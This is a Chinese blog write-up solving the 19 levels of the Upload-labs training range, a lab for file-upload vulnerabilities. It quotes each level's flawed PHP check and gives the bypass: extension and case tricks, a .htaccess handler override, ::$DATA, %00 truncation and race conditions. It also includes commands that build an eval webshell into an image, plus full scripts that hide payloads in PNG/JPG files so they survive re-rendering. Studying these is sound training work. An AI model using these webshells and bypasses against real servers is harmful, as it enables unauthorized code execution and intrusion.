Upload-labs 19关通关笔记

很早就下载了这个实验了,中间由于各种原因一直没玩=。=,主要是懒呀,今天把这个坑填一下。做完感觉学到了不少知识,感觉自己萌萌哒 xd

pass1-js检测

这关没啥好说的,直接 bp 抓包就可以绕过。

pass2-Content-type

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
$is_upload = true;

}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = $UPLOAD_ADDR.'文件夹不存在,请手工创建!';
}
}

这种检测非常弱,bp 改包或者制作一个图片木马就好。

pass3-黑名单绕过

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这种基于黑名单过滤一般很难把所有情况都考虑到,可以通过下面这些 php 的别名来绕过。

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php3 php5 phtml pht phps

pass4- .htaccess

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

可以看到把可以当作 php 解析的后缀名都纳入黑名单了,大小写什么的也不行,还是上面说过的,php 语言非常灵活,可以上传 .htaccess 文件来解析特定文件为 php 执行。

先上传一句话图片木马 time.jpg

然后上传 .htaccess 文件 即可 getshell。

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<FilesMatch "time.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

pass5-大小写

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

对比一下之前的代码,发现大小写过滤的语句没有,直接构造 time.Php 即可绕过。

pass6-space

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}

没有了对空格的过滤,在 windows 下会默认除去文件名最后的空格或点。

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a.jpg[space] or b.jpg. //这类文件在 win 下均不允许存在

上传 time.php[空格] 即可绕过

Pass7-dot

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}

原理同上,构造 time.php. 即可绕过。

pass8-::$DATA

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}

还是黑名单,但没有过滤 *::$DATA *,利用 windows 特性:NTFS文件系统包括对备用数据流的支持,构造 .php::$DATA 即可绕过。

Pass9-dot-space-dot

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}

结合 pass7 点特性,不难构造 a.php. . 即可绕过。

pass10-double

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $file_name)) {
$img_path = $UPLOAD_ADDR . '/' .$file_name;
$is_upload = true;
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}

这关可以看到是我们提交的文件名字如果有在黑名单里面,替换为空,可以构造 a.pphphp 即可绕过。因为它只匹配了一次~

pass-11-00截断

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$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = '上传失败!';
}
}
else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

注意一下这句话,save_path 是我们可以控制的,get 下直接 %00截断即可。

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$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

pass12-00截断

同 pass11,不同的是 $img 变量是 post 过去的。这里有个小 tips 是当 get 时会对 %00 自动解码,而 post 不会,在 bp 中这样 decode 一下就可以了。

Pass13-16图片马

这关就是让我们知道如何制作一个图片木马,就是图片可以正常显示,一些图片的校验也可以过,比如 filetype getimagesize php_exif 等模块来判断文件类型

方法一

win 下直接在 cmd 里执行如下命令,解释一下:a.jpg 为正常的图片 shell.php 为木马 time.jpg 为新生成图片马的名字 /b 是二进制的形式 /a 是 ascii 码形式

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copy a.jpg /b + shell.php /a time.jpg

在 linux 下

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echo "<php @eval(\$_POST['A']);>" >> logo0.png

方法二

其实制作图片木马的本质就是在不破坏图片正常的文件结构下马恶意代码插入,当脚本解释器运行图片时,将图片的二进制位解释为 ascii 码,然后配合一些可被脚本解释器运行的漏洞如文件包含来执行。这样的话,winhex 等一些工具都是可以的。当然市面也有一些生成图片木马的工具,比如 edjpgcom.exe。

pass16-二次渲染

这部分先知上有人总结的非常详细,我就不详细写了,把利用的脚本和基本思路说下。先知文章

gif

先上传一正常图片到服务器,然后下载渲染后到图片,拿软件 differ 一下看看两次相同的部分,然后把马子写在相同的区域内。

png
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<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>
jpg
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<?php
/*

The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.

1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>

In case of successful injection you will get a specially crafted image, which should be uploaded again.

Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

Sergey Bobrov @Black2Fan.

See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

*/

$miniPayload = "<?=phpinfo();?>";


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

pass17-race condition

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$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = $UPLOAD_ADDR . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = $UPLOAD_ADDR . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传失败!';
}
}

由于上传的文件先会保存到服务器上,如果不符合条件再删除。所以我们可以利用条件竞争来一直发生上传 php 文件的请求包,再访问我们的 webshell,即可成功执行命令。

pass18-race condition

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//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}

//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){

$ret = $this->isUploadedFile();

if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// if flag to check if the file exists is set to 1

if( $this->cls_file_exists == 1 ){

$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}

// if we are here, we are ready to move the file to destination

$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// check if we need to rename the file

if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}

// if we are here, everything worked as planned :)

return $this->resultUpload( "SUCCESS" );

}
......
......
......
}

因为 move 会把文件保存,而 move 在 rename 之前,所以可以通过条件竞争来使 rename 不成功即保存的我们原始上传的文件名字。

pass19-CVE-2015-2348

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

if(!in_array($file_ext,$deny_ext)) {
$img_path = $UPLOAD_ADDR . '/' .$file_name;
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $img_path)) {
$is_upload = true;
}else{
$msg = '上传失败!';
}
}else{
$msg = '禁止保存为该类型文件!';
}

} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}

考察的是 move_uploaded_file() 00 截断,$file_name 这个参数我们可以控制由于是 post,所以我们的 00 还需要 decode 一下。

当然也可以利用 /. 来绕过。

文章作者: Carl Star
文章链接: http://carlstar.club/2019/03/05/upload/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Hexo